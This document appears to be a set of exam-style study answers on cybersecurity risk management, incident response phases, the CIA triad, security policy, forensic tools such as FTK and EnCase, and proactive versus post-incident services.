1. Explain asset evaluation and business impact analysis.

1. Asset Evaluation

Asset Evaluation is the process of **identifying and assessing the value of assets** (hardware, software, data, people, facilities, etc.) within an organization.

- The goal is to know **what needs protection** and how important each asset is.
- Assets are evaluated based on:
 - **Criticality** – how essential the asset is for business.
 - **Confidentiality, Integrity, Availability (CIA)** – security requirements.
 - **Replacement/Recovery cost** – financial impact if lost.

Example: A company's **customer database** is highly valuable because losing it may lead to legal issues, financial loss, and reputational damage.

2. Business Impact Analysis (BIA)

Business Impact Analysis is a **systematic process to predict the consequences of disruption** to business operations.

- Helps identify **critical business functions** and the impact if they fail.
- Determines **Recovery Time Objective (RTO)** – how quickly a system must be restored.
- Determines **Recovery Point Objective (RPO)** – how much data loss is acceptable.
- Guides in creating a **Business Continuity Plan (BCP)**.

Example: If an e-commerce website goes down for 6 hours, BIA will estimate lost sales, customer dissatisfaction, and recovery needs.

2. Describe risk identification and risk quantification methods.

1. Risk Identification

Risk Identification is the **process of finding, recognizing, and describing potential risks** that could affect an organization's assets, operations, or business goals.

Methods of Risk Identification

1. **Checklists** – Using predefined lists of common risks (e.g., hardware failure, malware attack, insider threats).

2. **Brainstorming** – Group discussions with experts to identify possible threats.
3. **Interviews/Surveys** – Asking employees, IT staff, and stakeholders about risks.
4. **Historical Data Analysis** – Studying past incidents and industry trends.
5. **Threat Modeling** – Identifying how attackers may target systems.
6. **Automated Scanning Tools** – Using tools to detect vulnerabilities (e.g., Nessus, OpenVAS).

Example: Identifying that an **unpatched server** could be vulnerable to ransomware.

2. Risk Quantification

Risk Quantification is the **process of measuring the potential impact** (financial or operational) of identified risks. It answers: *“How bad will it be if this risk happens, and how often might it happen?”*

Methods of Risk Quantification

1. Qualitative Analysis

- Uses **scales** like *High, Medium, Low* for **Likelihood** and **Impact**.
- Simple and fast but less precise.
- Example: Assigning a "High Impact" to data breach risk.

2. Quantitative Analysis

- Uses **numeric values** (money, percentages, probabilities).
- Common techniques:
 - **Annualized Loss Expectancy (ALE)** = $SLE \times ARO$
 - *SLE (Single Loss Expectancy)* → Expected loss from one incident.
 - *ARO (Annual Rate of Occurrence)* → How often it happens in a year.
 - *ALE* → Expected yearly loss.
 - **Monte Carlo Simulation** → Uses probability models to predict risk impact.
- Example: If a data breach costs ₹50,00,000 once every 5 years → $ALE = ₹10,00,000$ per year.

3. Explain the phases of incident response: preparation, detection, containment, eradication, recovery.

Phases of Incident Response

Incident response is a structured process followed to handle and manage the aftermath of a security breach or cyberattack. It ensures quick detection, control, and recovery while minimizing damage. The main phases are:

1. Preparation

- Activities done **before an incident occurs**.
- Includes:
 - Developing incident response policies and procedures.
 - Training staff.
 - Setting up monitoring tools, backups, firewalls, IDS/IPS.
- **Goal:** Ensure the organization is ready to respond effectively.

2. Detection

- Identifying when an incident has occurred.
- Methods include:
 - Intrusion Detection Systems (IDS).
 - Log analysis.
 - Alerts from security tools or users.
- **Goal:** Recognize potential attacks quickly and accurately.

3. Containment

- **Limiting the spread** of the attack to protect systems and data.
- Short-term containment: Disconnecting affected systems.
- Long-term containment: Applying temporary fixes or patches.
- **Goal:** Prevent further damage while planning permanent solutions.

4. Eradication

- **Removing the root cause** of the incident.
- Actions include:
 - Deleting malware.
 - Disabling compromised accounts.

- Applying permanent security patches.
- **Goal:** Ensure the attacker cannot return using the same method.

5. Recovery

- Restoring and validating affected systems.
- Activities include:
 - Restoring data from backups.
 - Reconnecting systems to the network.
 - Monitoring for signs of reinfection.
- **Goal:** Bring systems back to normal operations securely.

4. Discuss the CIA triangle and its significance.

CIA Triangle in Cyber Security

The **CIA triangle** is a fundamental model in information security that represents the three core principles every security policy must protect: **Confidentiality, Integrity, and Availability**.

1. Confidentiality

- Ensures that **sensitive data is accessible only to authorized users**.
- Prevents unauthorized disclosure of information.
- Methods:
 - Encryption
 - Access control (passwords, biometrics)
 - Data classification
- **Example:** Online banking information must be accessible only to the account holder.

2. Integrity

- Ensures that **data is accurate, complete, and not tampered with**.
- Protects data from unauthorized modification.
- Methods:
 - Hash functions
 - Digital signatures
 - Checksums

- **Example:** Medical records should not be altered without proper authorization.

3. Availability

- Ensures that **information and systems are available whenever needed** by authorized users.
- Prevents disruptions of services.
- Methods:
 - Redundancy (backup servers)
 - Regular maintenance
 - Protection from DDoS attacks
- **Example:** An e-commerce website must remain online 24/7 for customer access.

Significance of CIA Triangle

- Forms the **foundation of information security policies**.
- Guides the design of security controls and countermeasures.
- Ensures trust, reliability, and compliance in organizations.
- Balances the three principles to achieve **overall system security**.

5. Write about security policy and compliance.

Security Policy and Compliance

1. Security Policy

- A **security policy** is a formal set of rules and guidelines that define how an organization protects its information assets.
- It acts as a **blueprint for security practices** and ensures employees follow consistent security procedures.

Key Features of a Security Policy:

1. **Purpose and Scope** – Why the policy exists and what assets it covers.
2. **Roles and Responsibilities** – Defines duties of users, administrators, and management.
3. **Acceptable Use** – Guidelines for proper use of systems, networks, and data.
4. **Access Control** – Who can access what data and how authorization is given.
5. **Incident Response** – Steps to be taken when a security incident occurs.
6. **Enforcement** – Penalties for violating the policy.

6. Describe the use of forensic tools FTK and EnCase in investigation.

Forensic Tools: FTK and EnCase in Investigation

1. Forensic Toolkit (FTK)

- **FTK (Forensic Toolkit)** is a widely used digital forensic tool developed by **AccessData**.
- It is designed to perform **comprehensive computer forensic investigations**.

Uses of FTK in Investigation:

1. **Disk Imaging** – Creates exact copies (bit-by-bit) of hard drives without altering original data.
2. **File Indexing and Searching** – Quickly searches large volumes of data, including deleted files.
3. **Email Analysis** – Recovers, filters, and analyzes emails from mail servers or PST files.
4. **Data Carving** – Recovers deleted or hidden files.
5. **Password Cracking** – Includes tools to decrypt or recover passwords.
6. **Timeline Analysis** – Shows activities based on time (file access, modification, deletion).

Example Use: In a corporate fraud case, FTK can help recover deleted emails and documents used as evidence.

2. EnCase

- **EnCase** is a forensic investigation tool developed by **Guidance Software (now part of OpenText)**.
- It is highly used by **law enforcement, military, and corporate investigators**.

Uses of EnCase in Investigation:

1. **Forensic Imaging** – Creates and verifies forensic copies of storage devices.
2. **File System Analysis** – Examines FAT, NTFS, ext, HFS, and other file systems.
3. **Keyword Search** – Finds hidden or encrypted data across different file formats.
4. **Email and Internet History Analysis** – Recovers deleted browsing history, cookies, and email records.
5. **Report Generation** – Produces detailed, court-admissible forensic reports.
6. **Mobile Forensics (EnCase Mobile)** – Analyzes data from smartphones and tablets.

Example Use: In a cybercrime case, EnCase can be used to recover deleted internet history and generate evidence reports admissible in court.

Comparison of FTK and EnCase

Feature	FTK (Forensic Toolkit)	EnCase
Developer	AccessData	Guidance Software (OpenText)
Focus Area	Fast indexing, searching, email recovery	Strong evidence preservation, court reporting
Best Use	Corporate investigations, quick data analysis	Law enforcement, legal cases
Output	Strong in data visualization	Strong in report generation

7. Discuss proactive and post-incident cyber services.

1. Proactive Cyber Services

These are preventive measures taken **before an attack or incident occurs**.

The main goal is to strengthen security, reduce vulnerabilities, and minimize risks.

Examples:

- **Risk Assessment & Threat Modeling** – Identifying weak points in systems.
- **Vulnerability Assessment & Penetration Testing (VAPT)** – Finding and fixing loopholes before attackers exploit them.
- **Security Awareness Training** – Training employees to recognize phishing and social engineering attacks.
- **Patch Management** – Regularly updating software and systems to remove known vulnerabilities.
- **Network Monitoring & Intrusion Prevention Systems (IPS)** – Continuously scanning for suspicious activities.
- **Backup & Disaster Recovery Planning** – Ensuring data can be restored quickly.

Purpose: Reduce the likelihood of incidents by anticipating and preparing for threats.

2. Post-Incident Cyber Services

These come into play **after a security incident or attack has happened**.

The focus is on damage control, investigation, and recovery.

Examples:

- **Incident Response (IR)** – Detecting, analyzing, and containing attacks.
- **Digital Forensics** – Collecting and analyzing digital evidence for root cause analysis and legal use.
- **Malware Analysis** – Understanding the behavior and impact of malicious software used in the attack.
- **System Recovery** – Restoring services, data, and operations to normal.
- **Incident Reporting & Documentation** – Creating reports for compliance and legal purposes.
- **Post-Incident Review (Lessons Learned)** – Improving defenses to avoid similar future incidents.

Purpose: Minimize damage, recover operations quickly, and prevent recurrence.

Comparison Table

Aspect	Proactive Cyber Services	Post-Incident Cyber Services
Timing	Before incidents	After incidents
Goal	Prevent & reduce risks	Respond, recover, investigate
Examples	Risk assessments, patching, training	Forensics, incident response, recovery
Outcome	Stronger defenses	Minimized impact & future readiness

In short:

- *Proactive = Prevention & Preparation*
- *Post-Incident = Response, Recovery & Learning*

8. Explain cyber incident analysis and response.

Cyber Incident Analysis and Response

A **cyber incident** is any event that compromises the **confidentiality, integrity, or availability (CIA)** of information systems. Examples include malware infections, phishing attacks, unauthorized access, data breaches, and denial-of-service attacks.

To deal with these incidents, organizations follow a structured **Incident Analysis and Response** process.

1. Cyber Incident Analysis

This is the process of examining an incident to understand:

- **What happened?** (nature of the attack)
- **When and where did it happen?** (timeline and affected systems)
- **How did it happen?** (attack vector, vulnerability exploited)
- **Who is behind it?** (threat actor identification, if possible)
- **What is the impact?** (data loss, downtime, financial/legal consequences)

Steps in Analysis:

1. **Log Review** – Analyzing system, firewall, and application logs for anomalies.
2. **Network Traffic Analysis** – Checking for suspicious connections, exfiltration attempts.
3. **Malware Analysis** – Investigating malicious files or payloads.
4. **Timeline Creation** – Reconstructing attacker activities (e.g., login attempts, privilege escalation).
5. **Root Cause Analysis (RCA)** – Identifying the vulnerability or misconfiguration that enabled the attack.

2. Cyber Incident Response

Response is the **action plan** to contain and eliminate the threat while restoring systems.

Phases of Incident Response (NIST model):

1. **Preparation** – Set up tools, policies, and trained teams in advance.
2. **Detection & Analysis** – Identify suspicious activity, confirm an incident.
3. **Containment** – Limit the spread of the attack (e.g., isolating infected machines).

4. **Eradication** – Remove malware, disable compromised accounts, patch vulnerabilities.
5. **Recovery** – Restore systems from clean backups, verify normal operations.
6. **Post-Incident Review** – Document lessons learned, update security measures.

Example

- **Incident:** Ransomware detected in an employee's system.
- **Analysis:** Logs reveal phishing email as entry point.
- **Response:**
 - Contain → Disconnect infected system from network.
 - Eradicate → Remove ransomware, patch email filters.
 - Recover → Restore files from secure backups.
 - Post-incident → Train employees against phishing, strengthen email security.